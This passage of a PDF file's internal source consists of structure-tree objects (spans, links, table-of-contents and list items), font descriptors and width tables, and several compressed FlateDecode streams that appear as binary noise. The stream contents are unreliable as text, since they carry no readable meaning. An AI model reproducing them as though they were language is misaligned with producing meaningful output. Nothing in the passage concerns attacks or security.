/Span +/Type /StructElem +>> +endobj +3949 0 obj +<< +/K 59 +/P 3982 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3950 0 obj +<< +/K 60 +/P 4386 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3951 0 obj +<< +/K 61 +/P 3983 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3952 0 obj +<< +/K 62 +/P 4387 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3953 0 obj +<< +/K 63 +/P 3984 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3954 0 obj +<< +/K 64 +/P 4388 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3955 0 obj +<< +/K 65 +/P 3985 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3956 0 obj +<< +/K 66 +/P 4389 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3957 0 obj +<< +/K [6062 0 R 3897 0 R] +/P 4361 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3958 0 obj +<< +/K [6063 0 R 3901 0 R] +/P 4362 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3959 0 obj +<< +/K [6064 0 R 3903 0 R] +/P 4363 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3960 0 obj +<< +/K [6065 0 R 3905 0 R] +/P 4364 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3961 0 obj +<< +/K [6066 0 R 3907 0 R] +/P 4365 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3962 0 obj +<< +/K [6067 0 R 3909 0 R] +/P 4366 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3963 0 obj +<< +/K [6068 0 R 3911 0 R] +/P 4367 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3964 0 obj +<< +/K [6069 0 R 3913 0 R] +/P 4368 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3965 0 obj +<< +/K [6070 0 R 3915 0 R] +/P 4369 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3966 0 obj +<< +/K [6071 0 R 3917 0 R] +/P 4370 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3967 0 obj +<< +/K [6072 0 R 3919 0 R] +/P 4371 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3968 0 obj +<< +/K [6073 0 R 3921 0 R] +/P 4372 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3969 0 obj +<< +/K [6074 0 R 3923 0 R] +/P 4373 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3970 0 obj +<< +/K [6075 0 R 3925 0 R] +/P 4374 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3971 0 obj +<< +/K [6076 0 R 3927 0 R] +/P 4375 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3972 0 obj +<< +/K [6077 0 R 3929 0 R] +/P 4376 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3973 0 obj +<< +/K [6078 0 R 3931 0 R] +/P 4377 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3974 0 obj +<< +/K [6079 0 R 3933 0 R] +/P 4378 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3975 0 obj +<< +/K [6080 0 R 3935 0 R] +/P 4379 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3976 0 obj +<< +/K [6081 0 R 3937 0 R] +/P 4380 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3977 0 obj +<< +/K [6082 0 R 6083 0 R 3939 0 R] +/P 4381 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3978 0 obj +<< +/K [6084 0 R 6085 0 R 3941 0 R] +/P 4382 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3979 0 obj +<< +/K [6086 0 R 6087 0 R 3943 0 R] +/P 4383 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3980 0 obj +<< +/K [6088 0 R 3945 0 R] +/P 4384 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3981 0 obj +<< +/K [6089 0 R 3947 0 R] +/P 4385 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3982 0 obj +<< +/K [6090 0 R 3949 0 R] +/P 4386 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3983 0 obj +<< +/K [6091 0 R 3951 0 R] +/P 4387 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3984 0 obj +<< +/K [6092 0 R 3953 0 R] +/P 4388 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3985 0 obj +<< +/K [6093 0 R 3955 0 R] +/P 4389 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3986 0 obj +<< +/K [0] +/P 1154 0 R +/Pg 84 0 R +/S /TOCI +/Type /StructElem +>> +endobj +3987 0 obj +<< +/K 1 +/P 4038 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3988 0 obj +<< +/K 2 +/P 4391 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3989 0 obj +<< +/K [3] +/P 4391 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +3990 0 obj +<< +/K 4 +/P 4391 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3991 0 obj +<< +/K 5 +/P 4039 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3992 0 obj +<< +/K 6 +/P 4392 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3993 0 obj +<< +/K 7 +/P 4040 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3994 0 obj +<< +/K 8 +/P 4393 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3995 0 obj +<< +/K 9 +/P 4041 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3996 0 obj +<< +/K 10 +/P 4394 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3997 0 obj +<< +/K 11 +/P 4042 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3998 0 obj +<< +/K 12 +/P 4395 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +3999 0 obj +<< +/K 13 +/P 4043 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4000 0 obj +<< +/K 14 +/P 4396 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4001 0 obj +<< +/K 15 +/P 4044 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4002 0 obj +<< +/K 16 +/P 4397 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4003 0 obj +<< +/K 17 +/P 4045 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4004 0 obj +<< +/K 18 +/P 4398 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4005 0 obj +<< +/K 19 +/P 4046 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4006 0 obj +<< +/K 20 +/P 4399 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4007 0 obj +<< +/K 21 +/P 4047 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4008 0 obj +<< +/K 22 +/P 4400 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4009 0 obj +<< +/K 23 +/P 4048 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4010 0 obj +<< +/K 24 +/P 4401 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4011 0 obj +<< +/K 25 +/P 4049 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4012 0 obj +<< +/K 26 +/P 4402 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4013 0 obj +<< +/K 27 +/P 4050 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4014 0 obj +<< +/K 28 +/P 4403 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4015 0 obj +<< +/K 29 +/P 4051 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4016 0 obj +<< +/K 30 +/P 4404 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4017 0 obj +<< +/K 31 +/P 4052 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4018 0 obj +<< +/K 32 +/P 4405 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4019 0 obj +<< +/K 33 +/P 4053 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4020 0 obj +<< +/K 34 +/P 4406 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4021 0 obj +<< +/K 35 +/P 4054 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4022 0 obj +<< +/K 36 +/P 4407 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4023 0 obj +<< +/K 37 +/P 4055 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4024 0 obj +<< +/K 38 +/P 4408 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4025 0 obj +<< +/K 39 +/P 4056 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4026 0 obj +<< +/K 40 +/P 4409 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4027 0 obj +<< +/K 41 +/P 4057 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4028 0 obj +<< +/K 42 +/P 4410 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4029 0 obj +<< +/K 43 +/P 4058 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4030 0 obj +<< +/K 44 +/P 4411 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4031 0 obj +<< +/K 45 +/P 4059 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4032 0 obj +<< +/K 46 +/P 4412 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4033 0 obj +<< +/K 47 +/P 4060 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4034 0 obj +<< +/K 48 +/P 4413 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4035 0 obj +<< +/K 49 +/P 4061 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4036 0 obj +<< +/K 50 +/P 4414 0 R +/Pg 84 0 R +/S /Span +/Type /StructElem +>> +endobj +4037 0 obj +<< +/K [51] +/P 1154 0 R +/Pg 84 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4038 0 obj +<< +/K [6094 0 R 3987 0 R] +/P 4391 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4039 0 obj +<< +/K [6095 0 R 6096 0 R 3991 0 R] +/P 4392 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4040 0 obj +<< +/K [6097 0 R 3993 0 R] +/P 4393 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4041 0 obj +<< +/K [6098 0 R 3995 0 R] +/P 4394 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4042 0 obj +<< +/K [6099 0 R 3997 0 R] +/P 4395 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4043 0 obj +<< +/K [6100 0 R 3999 0 R] +/P 4396 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4044 0 obj +<< +/K [6101 0 R 4001 0 R] +/P 4397 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4045 0 obj +<< +/K [6102 0 R 4003 0 R] +/P 4398 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4046 0 obj +<< +/K [6103 0 R 4005 0 R] +/P 4399 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4047 0 obj +<< +/K [6104 0 R 6105 0 R 4007 0 R] +/P 4400 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4048 0 obj +<< +/K [6106 0 R 4009 0 R] +/P 4401 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4049 0 obj +<< +/K [6107 0 R 4011 0 R] +/P 4402 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4050 0 obj +<< +/K [6108 0 R 4013 0 R] +/P 4403 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4051 0 obj +<< +/K [6109 0 R 4015 0 R] +/P 4404 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4052 0 obj +<< +/K [6110 0 R 4017 0 R] +/P 4405 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4053 0 obj +<< +/K [6111 0 R 4019 0 R] +/P 4406 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4054 0 obj +<< +/K [6112 0 R 4021 0 R] +/P 4407 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4055 0 obj +<< +/K [6113 0 R 4023 0 R] +/P 4408 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4056 0 obj +<< +/K [6114 0 R 4025 0 R] +/P 4409 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4057 0 obj +<< +/K [6115 0 R 4027 0 R] +/P 4410 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4058 0 obj +<< +/K [6116 0 R 4029 0 R] +/P 4411 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4059 0 obj +<< +/K [6117 0 R 4031 0 R] +/P 4412 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4060 0 obj +<< +/K [6118 0 R 4033 0 R] +/P 4413 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4061 0 obj +<< +/K [6119 0 R 4035 0 R] +/P 4414 0 R +/Pg 84 0 R +/S /Link +/Type /StructElem +>> +endobj +4062 0 obj +<< +/Ascent 1069 +/AvgWidth 590 +/CapHeight 1069 +/Descent -293 +/Flags 32 +/FontBBox [-556 -293 1321 1069] +/FontFile2 6120 0 R +/FontName /BCDEEE+NotoSans +/FontWeight 400 +/ItalicAngle 0 +/MaxWidth 1877 +/StemV 59 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4063 0 obj +<< +/BaseFont /BCDFEE+NotoSans +/CIDSystemInfo 6121 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6122 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [600] + 3 [260] + 5 [408 646] + 8 [831 732 225 300 300] + 14 [572 268 322 268 372 572 572 572 572 572 +572 572 572 572 572 268 268] +32 [572 572] + 35 [899 639 650 632 730 556 519 728 741 339 +273 619 524 907 760 781 605 781 622 549 +556 731 600 930 586 566 572 329 372 329] + 68 [561 615 480 615 564 344 615 618 258 258 +534 258 935 618 605 615 615 413 479 361 +618 508 786 529 510 470] + 107 [832] + 109 [509] +114 [428] + 116 [350] + 120 [655] + 125 [509] + 130 [639] +139 [556] + 158 [731] + 162 [561] + 164 [561] + 166 [561] +169 [480 564 564 564] + 176 [258] + 182 [605] + 184 [605] + 187 [618] +189 [618] + 277 [946] + 514 [500] + 519 [175] + 528 [791] +] +>> +endobj +4064 0 obj +<< +/Length 385 +/Filter /FlateDecode +>> +stream +x}Sn0>@J 8KT 2䐿KR,b7׹jF~FUK`;7+V58!m;1om C~r~ +tln ZP#N +jSߋy^s(=0XP3eW%B Y 7fEꎗoQ5GVN*q\"bIMxؐ,}^Tb2/.<)>|o)!7=::>-=6ӛFF$.%/Kˈ):O-O fffLJ.&$HpDrqoɎyX˃fN(8>}[_ +endstream +endobj +4065 0 obj +<< +/Ascent 750 +/AvgWidth 521 +/CapHeight 750 +/Descent -250 +/Flags 32 +/FontBBox [-503 -250 1240 750] +/FontFile2 6123 0 R +/FontName /BCDGEE+Calibri +/FontWeight 400 +/ItalicAngle 0 +/MaxWidth 1743 +/StemV 52 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4066 0 obj +<< +/Ascent 1069 +/AvgWidth 638 +/CapHeight 1069 +/Descent -293 +/Flags 32 +/FontBBox [-559 -293 1501 1069] +/FontFile2 6124 0 R +/FontName /BCDHEE+NotoSerif-Bold +/FontWeight 700 +/ItalicAngle 0 +/MaxWidth 2060 +/StemV 63 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4067 0 obj +<< +/Ascent 1069 +/AvgWidth 625 +/CapHeight 1069 +/Descent -293 +/Flags 32 +/FontBBox [-619 -293 1441 1069] +/FontFile2 6125 0 R +/FontName /BCDIEE+NotoSans-Bold +/FontWeight 700 +/ItalicAngle 0 +/MaxWidth 2061 +/StemV 62 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4068 0 obj +<< +/Ascent 1069 +/AvgWidth 557 +/CapHeight 1069 +/Descent -293 +/Flags 32 +/FontBBox [-493 -293 1240 1069] +/FontFile2 6126 0 R +/FontName /BCDJEE+NotoSans-Italic +/FontWeight 400 +/ItalicAngle -12 +/MaxWidth 1733 +/StemV 55 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4069 0 obj +<< +/BaseFont /SymbolMT +/CIDSystemInfo 6127 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6128 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [600] + 120 [460] +] +>> +endobj +4070 0 obj +<< +/Length 226 +/Filter /FlateDecode +>> +stream +x]j0 ~ +Cqv2aXpl%3,QC~:?[]; cѓc\aɓ:WM{Wn;$;j".78<0QWvȞ&8|^z5oTm(^LA9}N9>PK4ЄZhZ;5pv?<꺸CٕY 9')|~o' +endstream +endobj +4071 0 obj +<< +/Ascent 905 +/AvgWidth 441 +/CapHeight 728 +/Descent -210 +/Flags 32 +/FontBBox [-665 -210 2000 728] +/FontName /ArialMT +/FontWeight 400 +/ItalicAngle 0 +/Leading 33 +/MaxWidth 2665 +/StemV 44 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4072 0 obj +<< +/BaseFont /BCDKEE+NotoSans-Bold +/CIDSystemInfo 6129 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6130 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [600] + 3 [260] + 5 [472 646] + 10 [266 339 339] + 15 [285 322 285 413 572 572 572 572 572 572 +572 572 572 572 285] +36 [690 672 637 740 560 549 724 765 389 331] + 47 [565 943 813 796 628 796 660 551 579 756 +650 967 667] + 61 [579] + 68 [604 633 514 633 591 387 633 657 305 305] + 79 [305 982 657 619 633 633 454 497 434 657 +569 856 578 569] +109 [615] + 114 [428] + 125 [615] + 139 [560] + 162 [604] +169 [514 591 591 591] + 182 [619] + 277 [978] + 519 [217] +] +>> +endobj +4073 0 obj +<< +/Length 355 +/Filter /FlateDecode +>> +stream +x}Sn0+|L$ġHXAIXk2vž̀W\7Rh軳怏pj$broV +&BJ`?2/Zn >vY/hA4j#Tu!LƵɹ0G9L}3Ы PBJqr0+E M|:Ҏ6!8t>.GMDlYE^-s[DEMQG{X hkߢh;| өE~&tx=$]9|,ϗ?-~$x\08;F,[g+ƅ~xrN,|- +endstream +endobj +4074 0 obj +<< +/Ascent 905 +/AvgWidth 479 +/CapHeight 728 +/Descent -210 +/Flags 32 +/FontBBox [-628 -210 2000 728] +/FontName /Arial-BoldMT +/FontWeight 700 +/ItalicAngle 0 +/Leading 33 +/MaxWidth 2628 +/StemV 47 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +4075 0 obj +<< +/BaseFont /BCDLEE+Calibri +/CIDSystemInfo 6131 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6132 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [507] + 3 [226] + 18 [533] + 47 [252] + 62 [420] +94 [459] + 258 [479] + 271 [525] + 282 [525] + 286 [498] +288 [498 498] + 296 [305] + 336 [471] + 349 [230] + 367 [230] +373 [799 525] + 381 [527] + 393 [525] + 395 [525 349] + 400 [391] +410 [335] + 437 [525] + 448 [452] + 454 [433 453] + 853 [250] +855 [268 252] + 859 [250] + 1006 [507] +] +>> +endobj +4076 0 obj +<< +/Length 344 +/Filter /FlateDecode +>> +stream +x]n0 ;OcwHB"!h!zج'ա7;3LtcanVӁԴM˳f7'ƃ` ڼ=U4]_lIfhjWr'!.KjK\+:6%*&ő҉$QbGڐ.Q*&%)@XYbK'iDPaɦx0H_ rRI!2j-q3)1 Gb,I[ґw~׬nֺ v Wi +endstream +endobj +4077 0 obj +<< +/BaseFont /BCDMEE+Wingdings-Regular +/CIDSystemInfo 6133 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6134 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [500] + 5 [1145] +] +>> +endobj +4078 0 obj +<< +/Length 223 +/Filter /FlateDecode +>> +stream +x]j0 ~ +Cq-J a̰Fqy^`֑O9VNԩmڻrD%TӀqI€OJC4K߯1Rm Gb⫙tݧ(̟suOalpDc MJYUHSh 9.=s{Pve> +endobj +4080 0 obj +<< +/BaseFont /BCDOEE+NotoSans-Italic +/CIDSystemInfo 6136 0 R +/CIDToGIDMap /Identity +/DW 1000 +/FontDescriptor 6137 0 R +/Subtype /CIDFontType2 +/Type /Font +/W [0 [600] + 3 [260] + 10 [220 290 290] + 15 [256 313 256 356 551 551 551 551 551 551 +551 551 551 551 256] + 36 [562] +38 [587 667 514] + 42 [678] + 44 [324] + 47 [478 841 707 721 567 721 573 505 501 677 +552] + 59 [527] +68 [568 579 453 579 499 318 579 579 258 258] + 79 [258 875 579 563 579 579 398 432 332 579 +467 723 483 467 445] + 109 [477] + 125 [477] + 139 [514] +162 [568] + 170 [499 499] + 182 [563] + 514 [480] + 519 [174] +] +>> +endobj +4081 0 obj +<< +/Length 282 +/Filter /FlateDecode +>> +stream +x}j >aۅ }ThshHK +(|љk=^(F9I-ڠaT< ,ʂY&Cm%Bpn5piG~c8 +Ig1΢X~9X4<=F +&+$8az@% G`ԟj;)J3hBHo;'eDNq/i3TuDQDH%Nj Jh(oyTοK_V΅IvaѮul2 +endstream +endobj +4082 0 obj +<< +/K [6138 0 R] +/P 497 0 R +/S /THead +/Type /StructElem +>> +endobj +4083 0 obj +<< +/K [6139 0 R 6140 0 R 6141 0 R 6142 0 R] +/P 497 0 R +/Pg 8 0 R +/S /TBody +/Type /StructElem +>> +endobj +4084 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4085 0 obj +<< +/K [1181 0 R] +/P 501 0 R +/Pg 8 0 R +/S /LI +/Type /StructElem +>> +endobj +4086 0 obj +<< +/K [1182 0 R] +/P 501 0 R +/Pg 8 0 R +/S /LI +/Type /StructElem +>> +endobj +4087 0 obj +<< +/K [1183 0 R] +/P 501 0 R +/Pg 8 0 R +/S /LI +/Type /StructElem +>> +endobj +4088 0 obj +<< +/K [1184 0 R] +/P 501 0 R +/Pg 8 0 R +/S /LI +/Type /StructElem +>> +endobj +4089 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4090 0 obj +<< +/K [1187 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4091 0 obj +<< +/K [1188 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4092 0 obj +<< +/K [1189 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4093 0 obj +<< +/K [1190 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4094 0 obj +<< +/K [1191 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4095 0 obj +<< +/K [1192 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4096 0 obj +<< +/K [1193 0 R] +/P 515 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4097 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +4098 0 obj +<< +/K [1194 0 R] +/P 518 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4099 0 obj +<< +/K [1195 0 R] +/P 518 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4100 0 obj +<< +/K [1196 0 R] +/P 518 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4101 0 obj +<< +/K [1197 0 R] +/P 518 0 R +/Pg 10 0 R +/S /LI +/Type /StructElem +>> +endobj +4102 0 obj +<< +/K [1298 0 R 1205 0 R 1206 0 R 1207 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4103 0 obj +<< +/K [1299 0 R 1209 0 R 1210 0 R 1211 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4104 0 obj +<< +/K [1300 0 R 1213 0 R 1214 0 R 1215 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4105 0 obj +<< +/K [1301 0 R 1217 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4106 0 obj +<< +/K [1302 0 R 1219 0 R 1220 0 R 1221 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4107 0 obj +<< +/K [1303 0 R 1223 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4108 0 obj +<< +/K [1304 0 R 1225 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4109 0 obj +<< +/K [1305 0 R 1227 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4110 0 obj +<< +/K [1306 0 R 1229 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4111 0 obj +<< +/K [1307 0 R 1231 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4112 0 obj +<< +/K [1308 0 R 1233 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4113 0 obj +<< +/K [1309 0 R 1235 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4114 0 obj +<< +/K [1310 0 R 1237 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4115 0 obj +<< +/K [1311 0 R 1239 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4116 0 obj +<< +/K [1312 0 R 1241 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4117 0 obj +<< +/K [1313 0 R 1243 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4118 0 obj +<< +/K [1314 0 R 1245 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4119 0 obj +<< +/K [1315 0 R 1247 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4120 0 obj +<< +/K [1316 0 R 1249 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4121 0 obj +<< +/K [1317 0 R 1251 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4122 0 obj +<< +/K [1318 0 R 1253 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4123 0 obj +<< +/K [1319 0 R 1255 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4124 0 obj +<< +/K [1320 0 R 1257 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4125 0 obj +<< +/K [1321 0 R 1259 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4126 0 obj +<< +/K [1322 0 R 1261 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4127 0 obj +<< +/K [1323 0 R 1263 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4128 0 obj +<< +/K [1324 0 R 1265 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4129 0 obj +<< +/K [1325 0 R 1267 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +4130 0 obj +<< +/K [1326 0 R 1269 0 R] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> 